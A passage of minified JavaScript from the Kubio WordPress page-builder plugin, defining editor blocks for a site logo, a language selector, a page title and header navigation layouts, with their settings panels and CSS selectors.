color","kubio"),path:"typography.color",defaultValue:a,...n}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...n}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Text distance","kubio"),min:0,capMin:!0,max:50,path:"gap",type:Ne.WithDataPathTypes.STYLE,style:hd})]}),(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Logo","kubio"),children:[i,(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0}),(0,Je.jsx)(ut.HorizontalFlexAlign,{label:(0,We.__)("Align","kubio"),...o})]})})),vd=_d,xd=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(vd,{})}),Cd={image:{showImage:!0,showAlternateImage:!1,showText:!1,direction:["kubio-logo-direction-row"]},text:{showImage:!1,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-row"]},imageBelow:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-column-reverse"]},imageAbove:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-column"]},imageRight:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-row-reverse"]},imageLeft:{showImage:!0,showAlternateImage:!1,showText:!0,direction:["kubio-logo-direction-row"]}},Id=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>{let t=e.getProp("layoutType");return t||(t="image"),{layoutType:t,imageUrl:e.getAttribute("imageUrl"),mode:e.getAttribute("mode"),layoutTypeProps:Cd[t],showNormalImage:Cd[t].showImage,showAlternateImage:Cd[t].showAlternateImage}})),(0,Ne.withStyledElements)((({computed:e}={})=>({[hd]:{className:Ge()(e.layoutTypeProps.direction,e.mode)},[bd]:{},[kd]:{},[gd]:{}})))),Ed=Id((e=>{const{computed:t,StyledElements:o}=e,{layoutTypeProps:n}=t,{showImage:a,showText:i}=n,{logoImage:r,alternateLogoImage:s,title:l}=(0,bt.useSiteLogoImages)();return(0,Je.jsxs)(o.Container,{children:[a&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(o.Image,{src:r}),(0,Je.jsx)(o.AlternateImage,{src:s})]}),i&&(0,Je.jsx)(o.Text,{children:l})]})})),Td={name:"kubio/logo",category:"kubio-site-data",attributes:{kubio:{type:"object"},linkTo:{type:"string",default:"homePage"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},mode:{type:"string",default:"autodetect-mode"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{container:{gap:{value:"10",unit:"px"},typography:{decoration:"none"}},image:{maxHeight:{value:"70",unit:"px"}},generalImage:{maxHeight:{value:70,unit:"px"}}}},props:{layoutType:"image"}},elementsEnum:{CONTAINER:"container",IMAGE:"image",ALTERNATE_IMAGE:"alternateImage",GENERAL_IMAGE_STYLE:"generalImage",TEXT:"text",LOGO_TEXT:"logo-text"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"a",className:["kubio-has-gap-fallback"]}},image:{props:{tag:"img",className:["kubio-logo-image"]}},alternateImage:{props:{tag:"img",className:["kubio-logo-image","kubio-alternate-logo-image"]}},text:{props:{tag:"span"}},generalImage:{selector:"& .kubio-logo-image"},"logo-text":{}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"image",shouldRender:"computed.showNormalImage"}},{type:"element",props:{name:"alternateImage",shouldRender:"computed.showAlternateImage"}},{type:"element",props:{name:"text"}}]}}}},Sd=(0,Sn.extendBlockMeta)(Td,{title:(0,We.__)("Logo","kubio"),description:(0,We.__)("Make sure your visual identity is clear to your website visitors by adding your logo in a visible place.","kubio"),keywords:[(0,We.__)("logo","kubio"),(0,We.__)("symbol","kubio")],icon:Tn.BlockIcons.Logo,apiVersion:2,supports:{kubio:{elementsByName:fd},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(md,{}),(0,Je.jsx)(xd,{}),(0,Je.jsx)(Ed,{...e})]})}}),wd={OUTER:"outer"},Pd={[wd.OUTER]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}},[wd.LANGUAGES]:{label:(0,We.__)("Languages","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},Ad=(0,De.compose)((0,Ne.withColibriData)(((e,t)=>({show:e.getAttribute("show"),displayAs:e.getAttribute("displayAs"),showFlags:e.getAttribute("showFlags"),showNames:e.getAttribute("showNames")}))),(0,Ne.withStyledElements)((({computed:e}={})=>({[wd.OUTER]:{},[wd.LANGUAGES]:{}}))))((e=>{const{computed:t,StyledElements:o,context:{postId:n}}=e,{show:a,displayAs:i,showFlags:r,showNames:s}=t;return(0,Je.jsx)(o.Outer,{children:a&&(0,Je.jsx)(Ne.ServerSideRender,{block:"kubio/language-selector",attributes:{postId:n,show:a,displayAs:i,showFlags:r,showNames:s,isEditor:!0}})})})),jd=[{value:"dropdown",label:(0,We.__)("Dropdown","kubio")},{value:"flags",label:(0,We.__)("Flags","kubio")}],Bd=(0,Ne.withComputedData)((e=>({displayAs:e.getAttribute("displayAs"),showFlags:e.getAttribute("showFlags"),showNames:e.getAttribute("showNames")})))((({computed:e})=>{const{displayAs:t,showFlags:o,showNames:n}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Language Selector Properties","kubio"),children:[(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show language selector","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"show"}),(0,Je.jsx)(ut.SelectControlWithPath,{options:jd,label:(0,We.__)("Display as","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"displayAs"}),"flags"===t&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show flags","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"showFlags",disabled:!n}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show names","kubio"),type:Ne.WithDataPathTypes.ATTRIBUTE,path:"showNames",disabled:!o})]}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",type:Ne.WithDataPathTypes.STYLE,style:wd.OUTER})]})})),Nd=Bd,Od=({})=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Nd,{})}),Rd=((0,Sn.extendBlockMeta)({name:"kubio/language-selector",category:"kubio-site-data",attributes:{kubio:{type:"object"},show:{type:"boolean",default:!0},displayAs:{type:"string",default:"dropdown"},showFlags:{type:"boolean",default:!0},showNames:{type:"boolean",default:!0},isEditor:{type:"boolean",default:!1},postId:{type:"number"}},usesContext:["postId"],supports:{kubio:{default:{props:{}},appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"}}}}},{title:(0,We.__)("Language selector","kubio"),keywords:[(0,We.__)("icon","kubio"),(0,We.__)("symbol","kubio")],icon:Tn.BlockIcons.Icon,apiVersion:2,supports:{kubio:{elementsByName:Pd,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Od,{}),(0,Je.jsx)(Ad,{...e})]})}}),{H1:1,H2:2,H3:3,H4:4,H5:5,H6:6}),Dd={values:Rd,options:[{value:Rd.H1,label:"H1"},{value:Rd.H2,label:"H2"},{value:Rd.H3,label:"H3"},{value:Rd.H4,label:"H4"},{value:Rd.H5,label:"H5"},{value:Rd.H6,label:"H6"}]},Ld={TYPE:"type",ROTATE_1:"rotate-1",ROTATE_2:"rotate-2",ROTATE_3:"rotate-3",LOADING_BAR:"loading-bar",SLIDE:"slide",CLIP:"clip",ZOOM:"zoom",SCALE:"scale",PUSH:"push"},Md="curly",Wd=[Ld.ROTATE_1];let Hd=[{label:(0,We.__)("3D flip","kubio"),value:Ld.ROTATE_1},{label:(0,We.__)("Type","kubio"),value:Ld.TYPE},{label:(0,We.__)("Letter flip","kubio"),value:Ld.ROTATE_3},{label:(0,We.__)("Letter flip vertical","kubio"),value:Ld.ROTATE_2},{label:(0,We.__)("Slide","kubio"),value:Ld.SLIDE},{label:(0,We.__)("Clip","kubio"),value:Ld.CLIP},{label:(0,We.__)("Zoom","kubio"),value:Ld.ZOOM},{label:(0,We.__)("Scale","kubio"),value:Ld.SCALE},{label:(0,We.__)("Push","kubio"),value:Ld.PUSH}];Hd=(0,lt.addProTagToItems)(Hd,Wd);const Gd=[Md];let Ud=[{label:(0,We.__)("Curly","kubio"),value:Md},{label:(0,We.__)("Circle","kubio"),value:"circle"},{label:(0,We.__)("Underline","kubio"),value:"underline"},{label:(0,We.__)("Double","kubio"),value:"double"},{label:(0,We.__)("Double Underline","kubio"),value:"double-underline"},{label:(0,We.__)("Underline zigzag","kubio"),value:"underline-zigzag"},{label:(0,We.__)("Diagonal","kubio"),value:"diagonal"},{label:(0,We.__)("Strikethrough","kubio"),value:"strikethrough"},{label:(0,We.__)("X","kubio"),value:"x"}];Ud=(0,lt.addProTagToItems)(Ud,Gd);const Fd={NONE:"none",HIGHLIGHT:"highlighted",ROTATE:"rotating"},zd=[{label:(0,We.__)("None","kubio"),value:Fd.NONE},{label:(0,We.__)("Highlight","kubio"),value:Fd.HIGHLIGHT},{label:(0,We.__)("Rotate","kubio"),value:Fd.ROTATE}],Vd=[{label:(0,We.__)("Thin","kubio"),value:"300"},{label:(0,We.__)("Bold","kubio"),value:"600"}],Yd=[{label:(0,We.__)("PX","kubio"),value:"px"}],$d=[{label:(0,We.__)("s","kubio"),value:"s"}],Kd=e=>{var t,o,n,a;const i=null===(t=e.getProp("level",e.getAttribute("headerType",1),{media:"desktop"}))||void 0===t||null===(o=t.toString)||void 0===o||null===(n=o.call(t))||void 0===n||null===(a=n.replace)||void 0===a?void 0:a.call(n,"h","");return parseInt(i)},qd=e=>`h${Kd(e)}`,Xd={typeAnimationValues:Ld,headingType:Dd,typeStyleValues:Fd,thicknessOptions:Vd,typeAnimationOptions:Hd,typeHighlightedOptions:Ud,typeStyleOption:zd,offsetStrokeWidthOptions:{min:0,max:20,step:1},dimensionsUnits:Yd,typeAnimationDurationOptions:{min:.1,max:.3,step:.01},animationDurationOptions:{min:1,max:10,step:.1},timeUnits:$d},Qd="container",Zd={[Qd]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}}},Jd=(0,We.__)("Page title","kubio"),em=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>({tagName:qd(e)}))),(0,Ne.withStyledElements)((({computed:e,dataHelper:t}={})=>({[Qd]:{tag:null==e?void 0:e.tagName,"data-kubio":t.block.name}}))),Ne.withDispatchWpBLock),tm=em((e=>{const{StyledElements:t}=e;return(0,Je.jsx)(t.Container,{children:(0,Je.jsx)("span",{dangerouslySetInnerHTML:{__html:Jd}})})})),om=[{value:"h1",label:"H1"},{value:"h2",label:"H2"},{value:"h3",label:"H3"},{value:"h4",label:"H4"},{value:"h5",label:"H5"},{value:"h6",label:"H6"}],nm=[{path:"normalPage",label:(0,We.__)("Normal page format","kubio")},{path:"normalResultsPage",label:(0,We.__)("Normal results page","kubio")},{path:"errorPage",label:(0,We.__)("404 Error Page","kubio")}],am=[{path:"singlePost",label:(0,We.__)("Single post","kubio")},{path:"categoryArchive",label:(0,We.__)("Category archive","kubio")},{path:"authorArchive",label:(0,We.__)("Author archive","kubio")},{path:"tagArchive",label:(0,We.__)("Tag archive","kubio")},{path:"yearArchive",label:(0,We.__)("Year archive","kubio")},{path:"monthArchive",label:(0,We.__)("Month archive","kubio")},{path:"dayArchive",label:(0,We.__)("Day archive","kubio")}],im=(0,Ne.withComputedData)((()=>({defaultTextAlign:(0,bt.useInheritedTextAlign)()})))((({computed:e,dataHelper:t})=>{const{defaultTextAlign:o}=e,n={type:Ne.WithDataPathTypes.STYLE,style:Qd},a=void 0===t.getStyle("textAlign")?o:t.getStyle("textAlign");return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Page Title Properties","kubio"),children:[(0,Je.jsx)(ut.ToggleGroupWithPath,{label:(0,We.__)("Heading type","kubio"),path:"level",options:om,type:Ne.WithDataPathTypes.PROP}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,media:"auto",defaultValue:o,value:a,...n})]}),(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Formatting for Pages","kubio"),children:nm.map((e=>(0,Je.jsx)(ut.InputControlWithPath,{label:e.label,path:"templates."+e.path,type:Ne.WithDataPathTypes.ATTRIBUTE},e.path)))}),(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Formatting for Blog","kubio"),children:am.map((e=>(0,Je.jsx)(ut.InputControlWithPath,{label:e.label,path:"templates."+e.path,type:Ne.WithDataPathTypes.ATTRIBUTE},e.path)))})]})})),rm=im,sm=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(rm,{})}),lm=(0,Ne.withComputedData)((e=>({holderName:qd(e)})))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:Qd};return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Text","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...t,defaultValue:(0,bt.useInheritedTypographyValue)(e.holderName,"color")}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",withColor:!1}),(0,Je.jsx)(ut.TextShadowControlPopupWithPath,{path:"textShadow",...t})]})})),um=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(lm,{})}),cm={name:"kubio/page-title",category:"kubio-site-data",attributes:{kubio:{type:"object"},templates:{type:"object",default:{normalPage:"{TITLE}",normalResultsPage:"Search results for: {TITLE}",errorPage:"Sorry! Page Not Found!",singlePost:"{TITLE}",categoryArchive:"Posts in {TITLE}",authorArchive:"Posts by {TITLE}",tagArchive:"Posts about {TITLE}",yearArchive:"Posts from {TITLE}",monthArchive:"Posts from {TITLE}",dayArchive:"Posts from {TITLE}"}}},supports:{kubio:{appearanceEffect:!0,default:{style:{textAlign:"center"},props:{level:"h1"}},elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0,selector:"p.wp-block, h1.wp-block, h2.wp-block, h3.wp-block, h4.wp-block, h5.wp-block, h6.wp-block",selectorPrepend:!0,className:["kubio-page-title"]}},template:{type:"element",props:{name:"container"}}}}},pm=(0,Sn.extendBlockMeta)(cm,{title:(0,We.__)("Page Title","kubio"),description:(0,We.__)("This block automatically pulls the pageβs name and makes it the pageβs title","kubio"),keywords:[(0,We.__)("page title","kubio"),(0,We.__)("title","kubio")],icon:Tn.BlockIcons.PageTitle,apiVersion:2,supports:{kubio:{elementsByName:Zd},reusable:!1,html:!1},edit:function(e){return(0,Ne.useNoticeOnBlockRemove)((0,We.__)("You have just deleted the Page Title block. This block content automatically changes to the title you set for the page.","kubio"),"warn",[{label:(0,We.__)("Read more","kubio"),onClick:()=>{window.open("https://kubiobuilder.com/documentation/page-title-block/",(0,We.__)("Page Title","kubio")).focus()}}]),(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(sm,{}),(0,Je.jsx)(um,{}),(0,Je.jsx)(tm,{...e})]})}}),dm={NAVIGATION_CONTAINER:"outer",NAVIGATION_SECTION:"section"},mm={[dm.NAVIGATION_CONTAINER]:{label:(0,We.__)("Container","kubio"),internal:!0,supports:{styles:jn.StylesPresetsEnum.CONTAINER_BASIC,states:jn.StatesPresetsEnum.NONE},states:["normal","hover"]},[dm.NAVIGATION_SECTION]:{label:(0,We.__)("Navigation","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER_ADVANCED],states:jn.StatesPresetsEnum.NONE,separator:!0}}},hm=()=>{const{ownerDocument:e}=(0,Ne.useOwnerDocumentContext)(),t=(0,Me.useCallback)(((...t)=>{e&&((e,t,o)=>{window.queueMicrotask((()=>{e.documentElement.style.setProperty(t,o)}))})(e,...t)}),[e]);return t},bm=[hn.NAVIGATION_TOP_BAR,hn.NAVIGATION_SECTION],gm=[(0,Ne.composeBlockWithStyle)(hn.NAVIGATION_SECTION,{attributes:{}})],ym=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>{const o={ancestor:""};return{overlap:e.getProp("overlap",!1,o),verticalAlignByMedia:e.getPropByMedia("verticalAlign",{},o),widthType:e.getProp("width",void 0,o),isChangingLayout:e.getContextProp("isChangingLayout",!1)}})),(0,Ne.withStyledElements)(((e={})=>{const{computed:t={}}=e;return{[dm.NAVIGATION_CONTAINER]:{className:()=>{const e=[];return t.overlap&&e.push("h-navigation_overlap"),t.isChangingLayout&&e.push("is-changing-layout"),e}}}})),(0,Ne.withContainerBase)()),km=ym((e=>{const{StyledElements:t,Separators:o,Background:n}=e;(()=>{const{ownerDocument:e}=(0,Ne.useOwnerDocumentContext)(),t=hm(),o=(0,Me.useCallback)((()=>{if(!e)return;const o=e.querySelector(".block-editor-writing-flow");if(!o)return;const n=o.getBoundingClientRect();t("--kubio-canvas-width",o.clientWidth+"px"),t("--kubio-canvas-top-offset",n.top+"px"),t("--kubio-canvas-left-offset",n.left+"px")}),[e,t]),n=(0,De.useThrottle)(o,10),a=(0,Me.useRef)(new ResizeObserver(n));(0,op.useOwnerDocumentChanged)((e=>{if(!e.isSameNode(top.document))return a.current.disconnect(),t("--kubio-canvas-width","100%"),t("--kubio-canvas-top-offset","0px"),void t("--kubio-canvas-left-offset","0px");const n=e.body;return a.current.observe(n,{box:"border-box"}),o(),()=>{a.current.disconnect()}}))})();const a=bn({},{renderAppender:!1,templateLock:!1,allowedBlocks:bm});return(0,Je.jsxs)(t.Outer,{children:[(0,Je.jsx)(n,{}),(0,Je.jsx)(o,{}),(0,Je.jsx)("div",{...a})]})})),fm={siteContext:{},pageContext:{},isFrontPage:!1,isRegenerate:!1,record:{},pageTitle:"",isMultiPage:!1,isAIConnected:!1,frontPageEntity:{},blogPageEntity:{},isDefaultEditor:!0},_m={SLIDE_DOWN:"slideDown",FADE:"fade",NONE:"none"},vm=[{label:(0,We.__)("None","kubio"),value:_m.NONE},{label:(0,We.__)("Slide down","kubio"),value:_m.SLIDE_DOWN},{label:(0,We.__)("fade","kubio"),value:_m.FADE}],xm={[_m.SLIDE_DOWN]:{IN:"slideInDown",OUT:"slideOutDownNavigation"},[_m.FADE]:{IN:"fadeIn",OUT:"fadeOut"},[_m.NONE]:{IN:"h-global-transition-disable",OUT:"h-global-transition-disable"}},Cm={IN:[],OUT:[]};je().each(xm,(e=>{je().each(e,((e,t)=>{Cm[t].push(e)}))}));const Im={items:vm,values:_m,inOutAnimations:{byName:xm,allInAnimations:Cm.IN,allOutAnimations:Cm.OUT}},Em={LOGO_SPACING_MENU:"logo-spacing-menu",LOGO_ABOVE_MENU:"logo-above-menu",LOGO_MENU_CUSTOM:"logo-menu-custom",MENU_LOGO_CUSTOM:"menu-logo-custom",LOGO_CUSTOM_MENU_BELLOW:"logo-custom-menu-bellow",CUSTOM:"custom",SAME:"same"},Tm="immediately",Sm="afterHero",wm=[Tm];let Pm=[{label:(0,We.__)("Immediately","kubio"),value:Tm},{label:(0,We.__)("After hero section","kubio"),value:Sm}];Pm=(0,lt.addProTagToItems)(Pm,wm);const Am={BOXED:"boxed",FULL_WIDTH:"full-width"},jm={[Am.FULL_WIDTH]:"h-section-fluid-container",[Am.BOXED]:"h-section-boxed-container"},Bm=[{value:Am.BOXED,label:(0,We.__)("Container","kubio")},{value:Am.FULL_WIDTH,label:(0,We.__)("Full","kubio")}],Nm=je().merge({},$n.EDIT_LAYOUT,{label:(0,We.__)("Change nav layout","kubio")}),Om=je().merge({},$n.SELECT_BLOCK,{label:(0,We.__)("Nav settings","kubio")}),Rm=[[$n.CHANGE_BACKGROUND,Nm],[Om]],Dm={logoNav:Tn.NavOption1,logoAbove:Tn.NavOption2,logoNavCta:Tn.NavOption3,navLogoCta:Tn.NavOption4,logoNavCta2:Tn.NavOption5,custom:Tn.CustomIcon},Lm=Em;let Mm=[{label:(0,We.__)("logo / nav","kubio"),value:Lm.LOGO_SPACING_MENU,icon:Dm.logoNav},{label:(0,We.__)("logo above menu","kubio"),value:Lm.LOGO_ABOVE_MENU,icon:Dm.logoAbove},{label:(0,We.__)("logo / nav / CTA","kubio"),value:Lm.LOGO_MENU_CUSTOM,icon:Dm.logoNavCta},{label:(0,We.__)("nav / logo / CTA","kubio"),value:Lm.MENU_LOGO_CUSTOM,icon:Dm.navLogoCta},{label:(0,We.__)("nav under logo and CTA","kubio"),value:Lm.LOGO_CUSTOM_MENU_BELLOW,icon:Dm.logoNavCta2},{label:(0,We.__)("Custom","kubio"),value:Lm.CUSTOM,icon:Dm.custom}];const Wm=[Lm.LOGO_SPACING_MENU,Lm.LOGO_ABOVE_MENU,Lm.CUSTOM];Mm=(0,lt.addProTagToItems)(Mm,Wm);const Hm=[Lm.LOGO_SPACING_MENU,Lm.LOGO_MENU_CUSTOM,Lm.MENU_LOGO_CUSTOM],Gm=je().filter(je().clone(Mm),(e=>-1!==je().indexOf(Hm,e.value)));Gm.push({label:(0,We.__)("Same layout","kubio"),value:Lm.SAME});var Um=o(9590),Fm=o.n(Um);const zm=(0,Ne.composeBlockWithStyle)(hn.LOGO,{props:{},attributes:{}}),Vm=()=>{const e=(0,Ne.getBlockDefaultVariation)(hn.DROPDOWN_MENU)||{},t=je().get(e,"innerBlocks",[]);return e.innerBlocks=t.map((([e,t,o])=>(e===hn.MENU_ITEMS&&(t={...t,location:"header-menu"}),[e,t,o]))),[hn.DROPDOWN_MENU,e.attributes,e.innerBlocks]},Ym=()=>{const e=(0,Ne.getBlockDefaultVariation)(hn.BUTTON)||{},{attributes:t={},innerBlocks:o=[]}=e,n=je().merge({text:(0,We.__)("Start Now!","kubio")},t),a=(0,Ne.composeBlockWithStyle)(hn.BUTTON,{attributes:n},o,!0);return(0,Ne.composeBlockWithStyle)(hn.BUTTON,t,o,!0),(0,Ne.composeBlockWithStyle)(hn.BUTTON_GROUP,{},[a],!0)},$m=(0,Ne.composeBlockWithStyle)(hn.SPACER,{props:{},attributes:{}}),Km=Em,{ColumnWidthTypes:qm}=jn.columnWidth,Xm=e=>({type:qm.CUSTOM,custom:{value:e,unit:"%"}}),Qm=()=>({type:qm.FLEX_GROW}),Zm=()=>({type:qm.FIT_TO_CONTENT}),Jm=(e=!1,t=!1)=>{const o=(t,o)=>((e,t,o=!1)=>{const n=je().get(t,"sticky");let a;const i=ia({},t.width,t.mobileWidth);a=n?{ancestor:{sticky:i}}:i;const r=(0,Ne.composeBlockWithStyle)(hn.COLUMN,{_style:a,props:(0,Ae.merge)({layout:{verticalAlign:"center"},internal:{navContent:{type:e}}})},o?[]:(e=>{const t={logo:zm,menu:Vm(),custom:Ym(),spacing:$m};return t[e]?[t[e]]:[]})(e));return{type:e,block:r,options:t}})(t,o,e);return{[Km.LOGO_SPACING_MENU]:{rows:[[o("logo",{width:Zm(),mobileWidth:Qm(),sticky:t}),o("spacing",{width:Qm(),sticky:t}),o("menu",{width:Zm(),mobileWidth:Zm(),sticky:t})]]},[Km.LOGO_ABOVE_MENU]:{rows:[[o("logo",{width:Xm(100),mobileWidth:Qm(),sticky:t}),o("menu",{width:Xm(100),mobileWidth:Zm(),sticky:t})]],stickyLayout:Km.LOGO_SPACING_MENU},[Km.LOGO_MENU_CUSTOM]:{rows:[[o("logo",{width:Zm(),mobileWidth:Qm(),sticky:t}),o("menu",{width:Qm(),mobileWidth:Zm(),sticky:t}),o("custom",{width:Zm(),mobileWidth:Xm(100),sticky:t})]],stickyLayout:Km.LOGO_MENU_CUSTOM},[Km.MENU_LOGO_CUSTOM]:{rows:[[o("menu",{width:Qm(),mobileWidth:Qm(),sticky:t}),o("logo",{width:Zm(),mobileWidth:Zm(),sticky:t}),o("custom",{width:Qm(),mobileWidth:Xm(100),sticky:t})]],stickyLayout:Km.LOGO_MENU_CUSTOM},[Km.LOGO_CUSTOM_MENU_BELLOW]:{rows:[[o("logo",{width:Zm(),mobileWidth:Qm(),sticky:t}),o("custom",{width:Qm(),mobileWidth:Xm(100),sticky:t}),o("menu",{width:Xm(100),mobileWidth:Zm(),sticky:t})]],stickyLayout:Km.LOGO_MENU_CUSTOM}}},eh=je().memoize(((e=!1)=>{const t=Jm(e,!1),o=Jm(e,!0),n=e=>{je().each(e,(e=>{const t=[[]];je().each(e.rows,((e,o)=>{je().isArray(e)?t[o]=je().map(e,"type"):t[0].push(e.type)})),e.structure=t}))};return n(t),n(o),{NavLayouts:t,NavLayoutsSticky:o}})),th=Em,{supports:oh}={attributes:{hideSubmenu:{type:"boolean",default:!1}},providesContext:{"kubio/hideSubmenu":"hideSubmenu"},supports:{kubio:{default:{style:{descendants:{"main-menu-a":{typography:{decoration:"none"}},"sub-menu-a":{typography:{decoration:"none"}}}}},elementsEnum:{MAIN_MENU_UL:"main-menu-ul",MAIN_MENU_LI:"main-menu-li",MAIN_MENU_A:"main-menu-a",MAIN_MENU_ICON:"main-menu-icon",SUB_MENU_UL:"sub-menu-ul",SUB_MENU_LI:"sub-menu-li",SUB_MENU_A:"sub-menu-a",SUB_MENU_ICON:"sub-menu-icon",FIRST_SUB_MENU_UL_BEFORE:"first-sub-menu-ul-before",FIRST_SUB_MENU_UL:"first-sub-menu-ul"},elementsByName:{"main-menu-ul":{selector:"> .kubio-menu > ul"},"main-menu-li":{selector:{normal:"> .kubio-menu > ul > li"}},"main-menu-a":{selector:{normal:"> .kubio-menu > ul > li > a",hover:"> .kubio-menu > ul > li > a:hover,> .kubio-menu > ul > li > a.hover",menuButtonActive:"> .kubio-menu > ul > li.current-menu-item > a,> .kubio-menu > ul > li.current_page_item > a"}},"main-menu-icon":{selector:"> .kubio-menu > ul > li > a > svg"},"sub-menu-ul":{selector:"> .kubio-menu li > ul"},"sub-menu-li":{selector:{normal:"> .kubio-menu li > ul > li"}},"sub-menu-a":{selector:{normal:"> .kubio-menu li > ul > li> a",hover:"> .kubio-menu li > ul > li > a:hover,> .kubio-menu li > ul > li > a.hover",menuButtonActive:"> .kubio-menu li > ul > li.current-menu-item > a,> .kubio-menu li > ul > li.current_page_item > a"}},"sub-menu-icon":{selector:"> .kubio-menu li > ul > li > a > svg"},"first-sub-menu-ul":{selector:"> .kubio-menu > ul > li > ul"},"first-sub-menu-ul-before":{selector:"> .kubio-menu > ul > li > ul:before"}}}}},nh=oh.kubio.elementsEnum.MAIN_MENU_UL,ah=(e,t,o)=>{je().each(t,((t,n)=>{e.setStyle("textAlign",t,{media:n,ancestor:"sticky"===o?"sticky":""})})),sh(e.withParent(),t,o)},ih=(e,t,o)=>{const n={left:"flex-start",center:"center",right:"flex-end"};je().each(t,((t,a)=>{const i={media:a,ancestor:"sticky"===o?"sticky":"",styledComponent:"container"},r=n[t];e.setStyle("alignItems",r,i),e.setStyle("justifyContent",r,i)})),sh(e.withParent(),t,o)},rh=(e,t,o)=>{const n={left:"flex-start",center:"center",right:"flex-end"};je().each(t,((t,a)=>{e.setStyle("justifyContent",n[t],{media:a,styledComponent:nh,ancestor:"sticky"===o?"sticky":""})})),sh(e.withParent(),t,o)},sh=(e,t,o)=>{je().each(t,((t,n)=>{e.setStyle("textAlign",t,{media:n,ancestor:"sticky"===o?"sticky":""})}))},lh=(e,t)=>{const o=e.wrapperStyledComponent,n={styledComponent:o,media:"mobile",ancestor:"sticky"===t?"sticky":""};e.getStyle("order",null,{...n,styledComponent:o,fromRoot:!0})&&e.setStyle("order",null,{...n,unset:!0})},uh=(e,t,o)=>{const n={styledComponent:e.wrapperStyledComponent,media:"mobile",ancestor:"sticky"===o?"sticky":""};e.setStyle("order",t,n)},ch={[th.LOGO_SPACING_MENU]:{[hn.LOGO](e,t="normal",o){ih(o,{desktop:"left",mobile:"left"},t),lh(o.withParent(),t)},[hn.SPACER](e,t="normal",o){o.withParent().setProp("isHidden",!0,{media:"mobile"}),lh(o.withParent(),t)},[hn.DROPDOWN_MENU](e,t="normal",o){rh(o,{desktop:"right",mobile:"right"},t),lh(o.withParent(),t)}},[th.LOGO_ABOVE_MENU]:{[hn.LOGO](e,t="normal",o){ih(o,{desktop:"center",mobile:"left"},t),lh(o.withParent(),t)},[hn.DROPDOWN_MENU](e,t="normal",o){rh(o,{desktop:"center",mobile:"center"},t),lh(o.withParent(),t)}},[th.LOGO_MENU_CUSTOM]:{[hn.LOGO](e,t="normal",o){ih(o,{desktop:"left",mobile:"left"},t),lh(o.withParent(),t)},[hn.DROPDOWN_MENU](e,t="normal",o){rh(o,{desktop:"right",mobile:"right"},t),lh(o.withParent(),t)},[hn.BUTTON_GROUP](e,t="normal",o){((e,t)=>{const 